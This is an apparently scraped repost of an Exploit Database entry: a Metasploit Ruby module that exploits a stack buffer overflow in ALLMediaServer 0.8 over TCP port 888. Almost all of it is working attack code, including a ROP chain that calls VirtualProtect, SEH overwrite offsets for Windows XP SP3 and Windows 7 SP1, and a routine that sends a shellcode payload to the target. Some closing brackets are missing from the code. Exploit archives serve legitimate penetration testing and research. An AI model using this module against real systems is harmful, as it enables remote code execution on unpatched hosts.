ALLMediaServer 0.8 – Remote Buffer Overflow (Metasploit)

Exploit Database
145 阅读

作者： Metasploit

日期： 2012-07-16
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/19857/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'ALLMediaServer 0.8 Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in ALLMediaServer 0.8.

The vulnerability is caused due to a boundary error within the

handling of HTTP request.

'License'=> MSF_LICENSE,

'Author' =>

[

'motaz reda <motazkhodair[at]gmail.com>', # Original discovery

'modpr0be <tom[at]spentera.com>', # Metasploit module

'juan vazquez' # More improvement

'References' =>

[

[ 'EDB', '19625' ]

'DefaultOptions' =>

{

'ExitFunction' => 'process', #none/process/thread/seh

'Platform' => 'win',

'Payload'=>

{

'BadChars' => "",

'Space' => 660,

'DisableNops' => true

'Targets'=>

[

[ 'ALLMediaServer 0.8 / Windows XP SP3 - English',

{

'Ret' => 0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll

'OffsetRop' => 696,

'jmp' => 264,

'Offset'=> 1072

}

[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',

{

'Ret' => 0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll

'OffsetRop' => 332,

'jmp' => 628,

'Offset'=> 1072

}

'Privileged' => false,

'DisclosureDate' => 'Jul 04 2012',

'DefaultTarget'=> 1))

register_options([Opt::RPORT(888)], self.class)

end

def junk(n=1)

return [rand_text_alpha(4).unpack("L")[0]] * n

end

def nops(rop=false, n=1)

return rop ? [0x665a0aa1] * n : [0x90909090] * n

end

def asm(code)

Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string

end

def exploit

#with help from mona :)

rop = [

nops(true, 12),#ROP NOP

0x65f6faa7,# POP EAX # RETN

0x671ee4e0,# ptr to &VirtualProtect()

0x6ac1ccb4,# MOV EAX,DWORD PTR DS:[EAX] # RETN

0x667ceedf,# PUSH EAX # POP ESI # POP EDI # RETN

junk,

0x65f5f09d,# POP EBP # RETN

0x65f9830d,# & call esp

0x6ac1c1d5,# POP EBX # RETN

0x00000600,# 0x00000320-> ebx

0x6672a1e2,# POP EDX # RETN

0x00000040,# 0x00000040-> edx

0x665a09df,# POP ECX # RETN

0x6ad58a3d,# &Writable location

0x6ac7a771,# POP EDI # RETN

nops(true),# RETN (ROP NOP)

0x6682f9f4,# POP EAX # RETN

nops,# nop

0x663dcbd2 # PUSHAD # RETN

].flatten.pack("V*")

connect

buffer = rand_text(target['OffsetRop']) #junk

buffer << rop

buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload

buffer << rand_text(target['Offset'] - buffer.length)

buffer << generate_seh_record(target.ret)

buffer << payload.encoded

print_status("Sending payload to ALLMediaServer on #{target.name}...")

sock.put(buffer)

disconnect

end